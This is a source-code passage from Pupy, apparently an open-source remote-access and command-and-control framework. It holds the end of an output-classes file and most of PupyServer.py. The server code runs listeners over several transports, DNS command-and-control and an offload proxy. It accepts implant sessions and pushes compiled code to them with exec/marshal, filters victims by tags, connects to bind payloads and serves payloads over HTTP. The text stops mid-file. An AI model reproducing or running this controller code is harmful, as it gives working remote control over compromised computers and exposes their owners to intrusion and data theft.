    __slots__ = ('headers', 'caption', 'legend', 'vspace')

    def __init__(
        self, data, headers=None, caption=None,
            legend=True, vspace=0):
        super(Table, self).__init__(data)
        self.headers = headers
        self.caption = caption
        self.legend = legend
        self.vspace = vspace


class List(Text):
    __slots__ = ('caption', 'bullet', 'indent')

    def __init__(self, data, bullet='+', indent=2, caption=None):
        super(List, self).__init__(data)
        self.data = data
        self.bullet = bullet
        self.caption = caption
        self.indent = indent


class Stream(Text):
    __slots__ = ()


class Line(Text):
    __slots__ = ('dm')

    def __init__(self, *data):
        super(Line, self).__init__(data)
        self.dm = ' '


class TruncateToTerm(Text):
    __slots__ = ()


class Color(Text):
    __slots__ = ('color')

    def __init__(self, data, color):
        super(Color, self).__init__(data)
        self.color = color


class Title(Text):
    __slots__ = ()


class MultiPart(Text):
    __slots__ = ()


class NewLine(Text):
    __slots__ = ()

    def __init__(self, lines=1):
        super(NewLine, self).__init__(lines)


class Log(Text):
    __slots__ = ()


class Info(Text):
    __slots__ = ()


class ServiceInfo(Text):
    __slots__ = ()


class Warn(Text):
    __slots__ = ()


class Error(Text):
    __slots__ = ('header')

    def __init__(self, error, header=None):
        super(Error, self).__init__(error)
        self.header = header


class Success(Text):
    __slots__ = ()


class Section(Text):
    __slots__ = ('header', 'level')

    def __init__(self, header, data=None, level=0):
        super(Section, self).__init__(data)
        self.header = header
        self.level = level


class Usage(Text):
    __slots__ = ('module')

    def __init__(self, module, data):
        super(Usage, self).__init__(data)
        self.module = module


class Pygment(Text):
    __slots__ = ('lexer')

    def __init__(self, lexer, data):
        super(Pygment, self).__init__(data)
        self.lexer = lexer


class Interact(Hint):
    __slots__ = ()


class Indent(Text):
    __slots__ = ('indent')

    def __init__(self, data, indent=2):
        super(Indent, self).__init__(data)
        self.indent = indent


class Prompt(Interact):
    __slots__ = ('request', 'hide')

    def __init__(self, request, hide=False):
        self.request = request
        self.hide = hide


class Terminal(Hint):
    __slots__ = ()


================================================
FILE: pupy/pupylib/PupyServer.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
# THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from threading import Thread, Event, Lock

import imp
import sys

from os import path, listdir, stat, unlink
from itertools import count

if sys.version_info.major > 2:
    from itertools import filterfalse

    basestring = str
    long = int

else:
    from itertools import ifilterfalse as filterfalse

from netaddr import IPAddress
from netaddr.core import AddrFormatError
from random import randint
from tempfile import NamedTemporaryFile
from inspect import isclass

import socket
import errno
import traceback

from pupy.pupylib.PupyErrors import PupyModuleError
from pupy.pupylib.PupyErrors import PupyModuleDisabled, PupyModuleNotFound
from pupy.pupylib.PupyCategories import PupyCategories
from pupy.pupylib.PupyConfig import PupyConfig
from pupy.pupylib.PupyService import PupyBindService
from pupy.pupylib.PupyCompile import pupycompile
from pupy.pupylib.PupyOutput import Error, Line, Color
from pupy.pupylib.PupyModule import QA_STABLE, IgnoreModule, PupyModule
from pupy.pupylib.PupyDnsCnc import PupyDnsCnc
from pupy.pupylib.PupyTriggers import (
    event, event_to_string, register_event_id, CUSTOM
)
from pupy.pupylib.PupyTriggers import ON_CONNECT, ON_DISCONNECT, ON_START, ON_EXIT
from pupy.pupylib.PupyTriggers import RegistrationNotAllowed, UnregisteredEventId
from pupy.pupylib.PupyWeb import PupyWebServer
from pupy.pupylib.PupyOffload import PupyOffloadManager, OffloadProxyCommonError

from pupy.pupylib import PupyService
from pupy.pupylib import PupyClient
from pupy.pupylib import Credentials
from pupy.pupylib import ROOT

from .utils.rpyc_utils import obtain
from .utils.listener import get_listener_ip_with_local

from pupy.network.conf import transports
from pupy.network.transports.ssl.conf import PupySSLAuthenticator
from pupy.network.lib.connection import PupyConnectionThread
from pupy.network.lib.servers import PupyTCPServer
from pupy.network.lib.streams.PupySocketStream import (
    PupySocketStream, PupyUDPSocketStream
)
from pupy.network.lib.streams.PupyVirtualStream import PupyVirtualStream

from pupy.network.lib.utils import parse_transports_args
from pupy.network.lib.base import chain_transports
from pupy.network.lib.transports.httpwrap import PupyHTTPWrapperServer
from pupy.network.lib.igd import IGDClient, UPNPError
from pupy.network.lib.streams.PupySocketStream import PupyChannel
from pupy.network.lib.convcompat import reprb

from pupy.triggers import Triggers

from . import getLogger

logger = getLogger('server')
blocks_logger = logger.getChild('whitelist')


class ListenerException(Exception):
    pass


class PupyKCPSocketStream(PupySocketStream):
    def __init__(self, *args, **kwargs):
        PupySocketStream.__init__(self, *args, **kwargs)
        self.KEEP_ALIVE_REQUIRED = 15


class Listener(Thread):
    def __init__(
        self, pupsrv, name, args, httpd=False, igd=False,
            local=None, external=None, pproxy=None):

        Thread.__init__(self)
        self.daemon = True
        self.name = 'Listener({})'.format(name)

        self.igd = igd
        self.server = None

        self.name = name.lower().strip()
        self.transport = transports[self.name]()
        self.authenticator = self.transport.authenticator() if \
            self.transport.authenticator else None

        self.pupsrv = pupsrv
        self.config = pupsrv.config
        self.httpd = httpd

        # Where to connect
        self.external = external
        self.external_port = None
        self.pproxy = pproxy

        # Where to bind
        self.address = local or ''
        self.igd_mapping = False

        # Is where to connect placed at our PC
        self.local = True

        if httpd and not self.transport.dgram:
            self.transport.server_transport = chain_transports(
                PupyHTTPWrapperServer.custom(server=self.pupsrv),
                self.transport.server_transport
            )

        if args:
            args = [x.strip() for x in args.split(' ', 1) if x]
        else:
            args = []

        default_ipv6 = self.config.getboolean('pupyd', 'ipv6') or False

        if not args:
            self.port = randint(20000, 50000)
            self.ipv6 = default_ipv6
        else:
            if ':' in args[0]:
                ip, port = args[0].rsplit(':', 1)
                try:
                    if '=' in ip:
                        extip, ip = ip.split('=', 1)
                    else:
                        extip = None

                    address = IPAddress(ip)
                    self.address = str(address)

                    if extip:
                        if extip in ('?', 'igd'):
                            self.external = extip
                        else:
                            self.external = str(IPAddress(extip))

                    elif self.address:
                        self.external = self.address

                    self.ipv6 = (address.version == 6) or default_ipv6
                except Exception as e:
                    raise ListenerException(
                        'Invalid IP: {} ({})'.format(ip, e)
                    )

            else:
                port = args[0]
                self.ipv6 = default_ipv6

        if self.pproxy:
            self.external = self.pproxy.external

        elif not self.external or self.external in ('?', 'igd'):
            # If IGD enabled then we likely want to have mappings
            # Why to have mappings if our external IP remains empty?
            if self.igd and self.igd.available:
                extip, self.local = get_listener_ip_with_local(
                    external=True,
                    config=pupsrv.config,
                    igd=self.igd
                )

                self.external = str(IPAddress(extip))
            elif self.address and self.address not in ('0.0.0.0', '::'):
                self.external = self.address
            else:
                extip, self.local = get_listener_ip_with_local(
                    config=pupsrv.config,
                    igd=self.igd
                )

                try:
                    self.external = str(IPAddress(extip))
                except AddrFormatError:
                    self.external = '127.0.0.1'

        if '=' in port:
            port = [x.strip() for x in port.split('=', 1)]
            try:
                self.external_port = int(port[0])
            except ValueError:
                raise ListenerException(
                    "Invalid external port: {}".format(port[0])
                )

            try:
                self.port = int(port[1])
            except ValueError:
                raise ListenerException(
                    "Invalid local port: {}".format(port[1])
                )
        else:
            try:
                self.port = int(port)
            except ValueError:
                raise ListenerException(
                    "Invalid local port: {}".format(port[1])
                )

            self.external_port = self.port

        if self.local:
            self.external_port = self.port

        transport_kwargs = self.transport.server_transport_kwargs

        if len(args) > 1:
            opt_args = parse_transports_args(args[1], exit=False)
        else:
            opt_args = []

        for val in opt_args:
            val = val.lower()
            if val in transport_kwargs:
                transport_kwargs[val] = opt_args[val]
            else:
                logger.warning('Unknown transport argument: %s', val)

        self.kwargs = transport_kwargs

        try:
            self.transport.parse_args(self.kwargs)
        except Exception as e:
            logger.exception(e)

    def init(self):
        method = None

        stream = self.transport.stream
        transport = self.transport.server_transport
        server = self.transport.server
        transport_kwargs = self.transport.server_transport_kwargs
        ipv6 = self.ipv6
        igd = self.igd
        external = self.external
        external_port = self.external_port
        authenticator = self.authenticator

        if self.pproxy:
            if type(authenticator) == PupySSLAuthenticator:
                extra = {
                    'certs': {
                        'ca': authenticator.castr,
                        'cert': authenticator.certstr,
                        'key': authenticator.keystr,
                    }
                }
            else:
                extra = {}

            if stream == PupyUDPSocketStream:
                stream = PupyKCPSocketStream
                method = self.pproxy.kcp
            elif type(authenticator) == PupySSLAuthenticator:
                method = self.pproxy.ssl
            elif stream == PupySocketStream:
                method = self.pproxy.tcp

            server = PupyTCPServer

            authenticator = None
            ipv6 = False
            igd = None
            self.port = 0

        self.server = server(
            PupyService,
            port=self.port, hostname=self.address,
            authenticator=authenticator,
            stream=stream,
            transport=transport,
            transport_kwargs=transport_kwargs,
            pupy_srv=self.pupsrv,
            ipv6=ipv6,
            igd=igd,
            external=external,
            external_port=external_port
        )

        if not (self.pproxy and method):
            return

        # Workaround..
        self.server.listener.close()
        self.server.listener = method(self.external_port, extra=extra)

    def run(self):
        try:
            self.server.start()
        except EOFError:
            pass

    def close(self):
        if self.igd and self.igd_mapping:
            try:
                self.igd.DeletePortMapping(
                    self.external_port, self.port)
            except UPNPError as e:
                logger.error(
                    "Couldn't delete IGD Mapping: {}".format(e.description)
                )
            except Exception:
                pass

        if self.server:
            self.server.close()

    def __del__(self):
        self.close()

    def __str__(self):
        if self.external:
            external = self.external
            if ':' in external:
                external = '[' + external + ']'
        else:
            external = ''

        if self.port == 0:
            return '{}: pproxy:{}:{}'.format(
                self.name, external, self.external_port
            )

        result = str(self.port)
        if self.address:
            result = '{}:{}'.format(
                self.address if not self.ipv6 and ':' not in self.address
                else '[{}]'.format(self.address),
                self.port
            )

        if self.external and not self.local and self.external != self.address:
            if not self.address:
                result = '0.0.0.0:{}'.format(result)

            result = 'Remote: {}:{} -> Local: {}'.format(
                external, self.external_port, result
            )

        if self.kwargs:
            result += ' ' + ' '.join(
                '{}={}'.format(
                    k, v if k != 'password' else '*'*len(v)
                ) for k, v in self.kwargs.items())

        return '{}: {}'.format(self.name, result)


class PupyServer(object):
    SUFFIXES = tuple([
        suffix for suffix, _, rtype in imp.get_suffixes()
        if rtype == imp.PY_SOURCE
    ])

    def __init__(self, config, credentials):
        self.httpd = None
        self.pupweb = None
        self.clients = []
        self.jobs = {}
        self.jobs_id = 1
        self.clients_lock = Lock()
        self._current_id = []
        self._current_id_lock = Lock()
        self.modules = {}
        self._modules_stats = {}
        self.served_content = {}

        self.motd = {
            'fail': [],
            'ok': []
        }

        self.config = config or PupyConfig()
        self.credentials = credentials or Credentials()

        self.ipv6 = self.config.getboolean('pupyd', 'ipv6')
        self.handler = None
        self.handler_registered = Event()
        self.triggers = Triggers()
        self.categories = PupyCategories(self)
        self.igd = None
        self.finished = Event()
        self.finishing = Event()

        self.pproxy_listener = None

        self._cleanups = []
        self._singles = {}

        pproxy = self.config.get('pproxy', 'address')
        ca = self.config.get('pproxy', 'ca')
        key = self.config.get('pproxy', 'key')
        cert = self.config.get('pproxy', 'crt')
        via = self.config.get('pproxy', 'via')

        pproxy_listener_required = self.config.getboolean('pproxy', 'listener')
        pproxy_dnscnc_required = self.config.getboolean('pproxy', 'dnscnc')

        pproxy_dnscnc = None

        if pproxy and ca and key and cert and (
                pproxy_listener_required or pproxy_dnscnc_required):
            try:
                pproxy_manager = PupyOffloadManager(
                    pproxy, ca, key, cert, via)

                if pproxy_listener_required:
                    self.pproxy_listener = pproxy_manager

                if pproxy_dnscnc_required:
                    pproxy_dnscnc = pproxy_manager

                self.motd['ok'].append(
                    'Offload Proxy: proxy={} external={}{}'.format(
                        pproxy,
                        pproxy_manager.external,
                        ' via {}'.format(via) if via else ''))

            except (socket.error, OffloadProxyCommonError) as e:
                self.motd['fail'].append(
                    'Offload proxy unavailable: {}'.format(e)
                )

            except Exception as e:
                logger.exception(e)
                self.motd['fail'].append(
                    'Using Pupy Offload Proxy: Failed: {}'.format(e)
                )

        if self.config.getboolean('pupyd', 'httpd'):
            self.httpd = True

        if not (self.pproxy_listener and pproxy_dnscnc):
            try:
                try:
                    igd_url = None
                    igd_enabled = config.getboolean('pupyd', 'igd')
                except ValueError:
                    igd = config.get('pupyd', 'igd')
                    if igd:
                        igd_enabled = True
                        igd_url = igd

                self.igd = IGDClient(
                    available=igd_enabled,
                    ctrlURL=igd_url
                )
                if self.igd.available:
                    self.motd['ok'].append('IGDClient enabled')
            except UPNPError as e:
                self.motd['fail'].append('IGDClient failed: {}'.format(e))

        self.dnscnc = None

        self.listeners = {}

        dnscnc = self.config.get('pupyd', 'dnscnc')
        if dnscnc and dnscnc.lower() not in (
                'no', 'false', 'stop', 'n', 'disable'):
            try:
                self.dnscnc = PupyDnsCnc(
                    igd=self.igd,
                    config=self.config,
                    credentials=self.credentials,
                    listeners=self.get_listeners,
                    cmdhandler=self.handler,
                    pproxy=pproxy_dnscnc,
                    server=self
                )
            except Exception as e:
                logger.exception('DnsCNC failed: %s', e)

    def get_listeners(self):
        return self.listeners

    @property
    def address(self):
        # Address of default listener
        for listener in self.listeners.values():
            if listener and listener.address:
                return listener.address

        return ''

    @property
    def port(self):
        # Port of default listener
        for listener in self.listeners.values():
            return listener.port

    def start_webserver(self, motd=False):
        if not self.config.getboolean('pupyd', 'webserver'):
            return False

        if not self.pupweb:
            self.pupweb = PupyWebServer(self, self.config)
            self.pupweb.start()
            self.display('WebServer started ({}:{}, webroot={})'.format(
                self.pupweb.hostname, self.pupweb.port, self.pupweb.wwwroot),
                motd=motd)
        else:
            self.display(
                'WebServer already started', error=True, motd=motd)

        return True

    def create_id(self):
        """ return first lowest unused session id """
        with self._current_id_lock:
            new_id = next(filterfalse(self._current_id.__contains__, count(1)))
            self._current_id.append(new_id)
            return new_id

    def move_id(self, dst_id, src_id):
        """ return first lowest unused session id """

        src_client = None
        dst_client = None

        with self.clients_lock:
            if isinstance(dst_id, int):
                dst_client = [
                    x for x in self.clients if x.desc['id'] == dst_id
                ]

                if not dst_client:
                    raise ValueError(
                        'Client with id {} not found'.format(dst_id)
                    )

                dst_client = dst_client[0]
            else:
                dst_client = dst_id

            if isinstance(src_id, int):
                src_client = [
                    x for x in self.clients if x.desc['id'] == src_id
                ]

                if not src_client:
                    raise ValueError(
                        'Client with id {} not found'.format(src_id)
                    )

                src_client = src_client[0]
            else:
                src_client = src_id

            with self._current_id_lock:
                self._current_id.remove(dst_client.desc['id'])
                self._current_id.append(src_client.desc['id'])

            dst_client.desc['id'] = src_client.desc['id']

    def free_id(self, id):
        with self._current_id_lock:
            try:
                self._current_id.remove(int(id))
            except ValueError:
                logger.debug('Id not found in current_id list: %s', id)

    def register_handler(self, instance):
        """
        register the handler instance, typically a PupyCmd,
        and PupyWeb in the future
        """

        self.handler = instance

        if self.dnscnc:
            self.dnscnc.cmdhandler = instance

        self.handler_registered.set()

        event(ON_START, None, self)

    def _whitelist(self, nodeid, cid):
        if not self.config.getboolean('pupyd', 'whitelist'):
            return True

        if type(cid) in (int, long):
            cid = '{:016x}'.format(cid)

        if type(nodeid) in (int, long):
            nodeid = '{:012x}'.format(nodeid)

        if not cid or not nodeid:
            return self.config.getboolean('pupyd', 'allow_by_default')

        allowed_nodes = self.config.get('cids', cid)

        if not allowed_nodes:
            if self.config.getboolean('pupyd', 'allow_by_default'):
                return True
            return False

        return nodeid in set([
            x.strip().lower() for x in allowed_nodes.split(',')
        ])

    def add_client(self, conn):
        client = None

        if conn.remote_is_purepy:
            conn.execute(
                'exec({})'.format(
                    reprb(
                            open(path.join(
                                ROOT,
                                "pupylib",
                                'PupyClientInitializer.py'
                            ), 'r').read()
                    )
                )
            )
        else:
            conn.execute(
                'import marshal;exec(marshal.loads({}))'.format(
                    reprb(
                        pupycompile(
                            path.join(
                                ROOT,
                                "pupylib",
                                'PupyClientInitializer.py'
                            ),
                            path=True, raw=True,
                            target=conn.remote_version
                        )
                    )
                )
            )

        uuid = obtain(conn.namespace['get_uuid']())

        if not self._whitelist(uuid.get('node'), uuid.get('cid')):
            blocks_logger.warning(
                'Rejected: {} on {}'.format(uuid.get('cid'), uuid.get('node')))
            conn._conn.close()
            return

        client_info = {}
        client_info.update(uuid)

        with self.clients_lock:
            client_id = self.create_id()

            try:
                client_info.update(obtain(conn.get_infos()))
            except Exception as e:
                logger.exception(e)
                client_info.update({
                    "launcher": str(conn.get_infos("launcher")),
                    "launcher_args": [
                        x for x in conn.get_infos("launcher_args")
                    ],
                    "transport": str(conn.get_infos("transport")),
                    "daemonize": bool(conn.get_infos("daemonize")),
                    "native": bool(conn.get_infos("native")),
                    "sid": conn.get_infos("sid") or '',
                })

            conn_id = obtain(conn._conn._config['connid'])

            try:
                if type(conn_id) is list:
                    address = conn_id[0]
                address = conn_id.rsplit(':', 1)[0]
            except Exception:
                address = str(address)

            client_info.update({
                'id': client_id,
                'conn': conn,
                'address': address
            })

            if conn.remote_version[0] == 2:
                for key in client_info:
                    value = client_info[key]
                    if isinstance(value, bytes):
                        value = value.decode('utf-8')
                    client_info[key] = value

            client = PupyClient(client_info, self)
            self.clients.append(client)

            if self.handler:
                try:
                    client_ip, client_port = conn_id.rsplit(':', 1)
                except Exception:
                    client_ip, client_port = '0.0.0.0', 0

                if ':' in client_ip:
                    client_ip = '[' + client_ip + ']'

                remote = ' ({}:{})'.format(client_ip, client_port)

                user = client_info.get('user', '?')

                user_info = user
                if '\\' not in user:
                    hostname = client_info.get('hostname', '?')

                    user_info = user_info + '@' + hostname

                self.info('Session {} opened ({}){}'.format(
                    client_id, user_info, remote if client_port != 0 else '')
                )

        if client and self.handler:
            event(ON_CONNECT, client, self, **client.desc)

    def remove_client(self, conn):
        with self.clients_lock:
            client = [x for x in self.clients if (x.conn is conn or x is conn)]
            if not client:
                logger.debug('No clients matches request: %s', conn)
                return

            client = client[0]

            event(ON_DISCONNECT, client, self, **client.desc)

            self.clients.remove(client)
            self.free_id(client.desc['id'])

            self.info('Session {} closed'.format(client.desc['id']))

    def get_clients(self, search_criteria):
        """
        return a list of clients corresponding to the search criteria.
        ex: platform:*win*
        """

        # if the criteria is a simple id we return the good client

        if not search_criteria:
            return self.clients

        try:
            indexes = set(
                int(x) for x in str(search_criteria).split(',')
            )

            return [
                c for c in self.clients if c.desc['id'] in indexes
            ]
        except Exception:
            pass

        if not isinstance(search_criteria, basestring):
            return

        clients = set([])

        if search_criteria == '*':
            return self.clients

        for c in self.clients:
            take = False
            tags = self.config.tags(c.node())
            for sc in search_criteria.split():
                tab = sc.split(':', 1)
                # if the field is specified we search for
                # the value in this field

                if len(tab) == 2 and tab[0] in c.desc:
                    take = True
                    if not tab[1].lower() in str(c.desc[tab[0]]).lower():
                        take = False
                        break

                elif len(tab) == 2 and tab[0] == 'tag' and tab[1] in tags:
                    take = True

                elif len(tab) == 2 and tab[0] == 'tags':
                    if '&' in tab[1]:
                        take = all(x in tags for x in tab[1].split('&') if x)
                    else:
                        take = any(x in tags for x in tab[1].split(',') if x)
                elif len(tab) != 2:
                    # if there is no field specified we search in every field
                    # for at least one match
                    take = False
                    if tab[0] in tags:
                        take = True
                    else:
                        for k, v in c.desc.items():
                            if isinstance(v, basestring):
                                if tab[0].lower() in v.decode('utf8').lower():
                                    take = True
                                    break
                            else:
                                if tab[0].lower() in str(v).lower():
                                    take = True
                                    break
                        if not take:
                            break
            if take:
                clients.add(c)

        return list(clients)

    def get_clients_list(self):
        return self.clients

    def iter_modules(self, by_clients=False, clients_filter=None):
        """ iterate over all modules """

        clients = None
        if by_clients:
            clients = self.get_clients(clients_filter)
            if not clients:
                return

        self._refresh_modules()
        for module_name in self.modules:
            if module_name.startswith('_'):
                continue

            try:
                module = self.get_module(module_name)
            except PupyModuleDisabled:
                continue

            if clients is not None:
                for client in clients:
                    if module.is_compatible_with(client):
                        yield module
                        break
            else:
                yield module

    def get_module_name_from_category(self, modpath):
        """
        take a category virtual path and return the module's
        name or the path untouched if not found
        """

        mod = self.categories.get_module_from_path(modpath)

        if mod:
            return mod.get_name()
        else:
            return modpath

    def get_aliased_modules(self):
        """
        return a list of aliased module names that have to be
        displayed as commands
        """

        modules = []
        for m in self.iter_modules():
            if not m.is_module:
                modules.append((m.get_name(), m.__doc__))

        return modules

    def _refresh_modules(self, force=False):
        files = {}

        paths = set([
            path.abspath(x) for x in [
                self.config.root, '.', ROOT
            ]
        ])

        for modpath in paths:
            modules = path.join(modpath, 'modules')
            if not path.isdir(modules):
                continue

            for x in listdir(modules):
                modname = '.'.join(x.rsplit('.', 1)[:-1])
                modpath = path.join(modules, x)

                try:
                    valid = all([
                        x.endswith(self.SUFFIXES),
                        not x.startswith(('__init__', '.')),
                        path.isfile(modpath)
                    ])

                    if valid:
                        files[modname] = modpath

                except Exception as e:
                    logger.exception(e)

        for modname in files:
            modpath = files[modname]
            current_stats = stat(modpath)

            if not force and modname in self.modules and \
                    self._modules_stats[modname] == current_stats.st_mtime:
                continue

            try:
                module_object = imp.load_source(modname, modpath)
                logger.debug('Load module %s', modname)
                self.modules[modname] = module_object
                self._modules_stats[modname] = current_stats.st_mtime

            except IgnoreModule as e:
                logger.debug('Ignore module %s: %s', modname, e)
                continue

            except Exception as e:
                tb = '\n'.join(traceback.format_exc().split('\n')[1:-2])
                error = Line(
                    Error('Invalid module:'),
                    Color(modname, 'yellow'),
                    'at ({}): {}. Traceback:\n{}'.format(
                        modpath, e, tb
                    )
                )

                self.info(error, error=True)

    def get_module(self, name):
        enable_dangerous_modules = self.config.getboolean(
            'pupyd', 'enable_dangerous_modules'
        )

        if name not in self.modules:
            self._refresh_modules(force=True)

        if name not in self.modules:
            raise PupyModuleNotFound('No such module')

        module = self.modules[name]
        class_name = None

        for item_name in dir(module):
            item = getattr(module, item_name)
            if not isclass(item):
                continue

            if issubclass(item, PupyModule) and item != PupyModule:
                class_name = item_name

        if hasattr(module, '__events__'):
            for event_id, event_name in module.__events__.items():
                try:
                    registered_event_name = event_to_string(event_id)
                    if registered_event_name != event_name:
                        logger.error(
                            'script "%s" registers event_id %08x as "%s", '
                            'but it is already registered as "%s"',
                            name, event_name, registered_event_name)

                        raise PupyModuleDisabled(
                            'Modules with errors are disabled.'
                        )

                except UnregisteredEventId:
                    try:
                        register_event_id(event_id, event_name)
                    except RegistrationNotAllowed:
                        logger.error(
                            'script "%s" registers event_id 0x%08x '
                            'which is not allowed, eventid should be >0x%08x',
                            name, event_id, CUSTOM
                        )

                        raise PupyModuleDisabled(
                            'Modules with errors are disabled.'
                        )

        if not class_name:
            # TODO automatically search the class name in the file
            exit('Error : no __class_name__ for module %s' % module)

        module_class = getattr(module, class_name)

        if not enable_dangerous_modules and module_class.qa != QA_STABLE:
            logger.debug('Ignore dangerous module %s', name)
            raise PupyModuleDisabled('Dangerous modules are disabled.')

        return module_class

    def module_parse_args(self, module_name, args):
        """
        This method is used by the PupyCmd class to verify validity
        of arguments passed to a specific module
        """

        module = self.get_module(module_name)
        ps = module(None, None)
        if ps.known_args:
            return ps.arg_parser.parse_known_args(args)
        else:
            return ps.arg_parser.parse_args(args)

    def del_job(self, job_id):
        if job_id is not None:
            job_id = int(job_id)
            if job_id in self.jobs:
                del self.jobs[job_id]

    def add_job(self, job):
        job.id = self.jobs_id
        self.jobs[self.jobs_id] = job
        self.jobs_id += 1

    def get_job(self, job_id):
        try:
            job_id = int(job_id)
        except ValueError:
            raise PupyModuleError("job id must be an integer !")
        if job_id not in self.jobs:
            raise PupyModuleError("%s: no such job !" % job_id)

        return self.jobs[job_id]

    def create_virtual_connection(self, transport, peer):
        if transport not in transports:
            logger.error('Unknown transport: %s', transport)
            return

        logger.debug('create_virtual_connection(%s, %s)', transport, peer)

        transport_conf = transports.get(transport)
        transport_class = transport_conf().server_transport

        logger.debug(
            'create_virtual_connection(%s, %s) - transport - %s / %s',
            transport, peer, transport_conf, transport_class
        )

        stream = PupyVirtualStream(transport_class)

        vc = PupyConnectionThread(
            self,
            PupyService,
            PupyChannel(stream),
            ping=stream.KEEP_ALIVE_REQUIRED,
            config={
                'connid': '{}:{}'.format(peer, id(self))
            })

        def activate(peername, on_receive):
            logger.debug(
                'VirtualStream (%s, %s) - activating',
                stream, peername
            )

            stream.activate(peername, on_receive)

            logger.debug(
                'VirtualStream (%s, %s) - starting thread',
                stream, peername
            )

            vc.start()

            logger.debug(
                'VirstualStream (%s, %s) - activated',
                stream, peername
            )

        return activate, stream.submit, stream.close

    def connect_on_client(self, launcher):
        """ connect on a client that would be running a bind payload """

        try:
            stream = next(iter(launcher.iterate()))
        except StopIteration:
            self.handler.display_error(
                "All connection attempts failed"
            )
            return

        except (OSError, socket.error) as e:
            self.handler.display_error(
                "Couldn't connect to pupy: {}".format(e)
            )
            return

        host = launcher.args.host[0] if type(
            launcher.args.host) in (list, tuple) else launcher.args.host

        self.handler.display_success('Starting session ({})'.format(host))

        bgsrv = PupyConnectionThread(
            self,
            PupyBindService,
            PupyChannel(stream),
            ping=stream.KEEP_ALIVE_REQUIRED,
            config={
                'connid': host
            })

        bgsrv.start()

    def start(self):
        self.handler_registered.wait()
        self.start_webserver(motd=True)

        listeners = set([
            x.strip() for x in (
                self.config.get('pupyd', 'listen') or 'ssl'
            ).split(',')
        ])

        for name in listeners:
            if name in transports:
                self.add_listener(name, motd=True)
            else:
                self.display("Transport not found", error=True)

        self.handler.print_motd(self.motd)

    def add_listener(self, name, config=None, motd=False, ignore_pproxy=False):
        if self.listeners and name in self.listeners:
            self.handler.display_warning(
                'Listener {} already registered'.format(name)
            )
            return

        if name not in transports:
            error = 'Transport {} is not registered. ' \
                'To show available: listen -L'.format(repr(name))
            self.display(error, error=True, motd=motd)
            return

        listener_config = config or self.config.get('listeners', name)
        if not listener_config:
            error = 'Transport {} does not have default settings. ' \
                'Specfiy args (at least port)'.format(repr(name))

            self.display(error, error=True, motd=motd)
            return

        try:
            listener = Listener(
                self,
                name,
                listener_config,
                httpd=self.httpd,
                igd=self.igd,
                local=self.config.get('pupyd', 'address'),
                external=self.config.get('pupyd', 'external'),
                pproxy=None if ignore_pproxy else self.pproxy_listener
            )

        except (ListenerException, ValueError) as e:
            error = 'Listener: {}: Error: {}'.format(repr(name), e)

            if motd:
                self.motd['fail'].append(error)
            else:
                self.handler.display_error(error)
            return

        except Exception as e:
            logger.exception(e)
            return

        self.listeners[name] = listener

        error = True
        message = 'Listen: {}'.format(listener)

        try:
            self.listeners[name].init()
            self.listeners[name].start()
            error = False

        except socket.error as e:
            if e.errno == errno.EACCES:
                message = 'Listen: {}: ' \
                    'Insufficient privileges to bind'.format(listener)
            elif e.errno == errno.EADDRINUSE:
                message = 'Listen: {}: ' \
                    'Address/Port already used'.format(listener)
            elif e.errno == errno.EADDRNOTAVAIL:
                message = 'Listen: {}: ' \
                    'No network interface with addresss {}'.format(
                        listener, listener.address)
            else:
                message = 'Listen: {}: {}'.format(listener, e)

        except Exception as e:
            error = '{}: {}'.format(listener, e)
        if error:
            del self.listeners[name]

        self.display(message, error=error, motd=motd)

    def display(self, message, error=False, motd=False):
        if motd or not self.handler:
            if error:
                self.motd['fail'].append(message)
            else:
                self.motd['ok'].append(message)
        else:
            if error:
                self.handler.display_error(message)
            else:
                self.handler.display_success(message)

    def info(self, message, error=False):
        if self.handler:
            self.handler.display_srvinfo(message)
        elif error:
            self.motd['fail'].append(message)
        else:
            self.motd['ok'].append(message)

    def remove_listener(self, name):
        if name not in self.listeners:
            self.handler.display_warning('{} - is not running'.format(name))
            return

        self.listeners[name].close()
        self.handler.display_srvinfo('Closed: {}'.format(self.listeners[name]))
        del self.listeners[name]

    def serve_content(self, payload, alias=None):
        if self.pupweb:
            return self.pupweb.serve_content(payload, alias)

        url = None

        wwwroot = self.config.get_folder('wwwroot')
        secret = self.config.getboolean('httpd', 'secret')

        with NamedTemporaryFile(
                dir=wwwroot, prefix='', delete=False) as served:
            served.write(payload)

        if secret:
            url = '/'.join([
                self.config.get('randoms', 'wwwsecret', random=5),
                path.basename(served.name)
            ])
        else:
            url = path.basename(served.name)

        if alias is None:
            alias = path.basename(served.name)

        self.served_content[served.name] = alias
        self.handler.display_srvinfo(f"serving {served.name}, {url}")

        return '/' + url

    @property
    def web_handler_enabled(self):
        return bool(self.web_handler_port)

    @property
    def web_handler_port(self):
        if self.pupweb:
            return self.pupweb.port
        elif self.httpd:
            for listener in self.listeners.values():
                return listener.external_port or listener.port

    def register_cleanup(self, cleanup):
